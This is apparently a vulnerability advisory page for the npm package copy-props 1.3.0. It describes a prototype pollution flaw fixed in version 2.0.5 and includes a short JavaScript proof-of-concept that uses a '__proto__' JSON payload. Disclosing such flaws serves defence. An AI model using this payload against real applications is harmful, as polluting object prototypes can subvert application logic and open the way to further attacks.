copy-props@1.3.0 vulnerabilities

Copy properties deeply between two objects.

Direct Vulnerabilities

Known vulnerabilities in the copy-props package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Prototype Pollution

copy-props is a Copy properties deeply between two objects.

Affected versions of this package are vulnerable to Prototype Pollution via the main functionality.

POC

const copyProps = require('copy-props');

var malicious_payload = '{"__proto__":{"polluted":"polluted"}}';
console.log("Before : " + {}.polluted);

copyProps(JSON.parse(malicious_payload), {});
console.log("After : " + {}.polluted);

How to fix Prototype Pollution?

Upgrade copy-props to version 2.0.5 or higher.

<2.0.5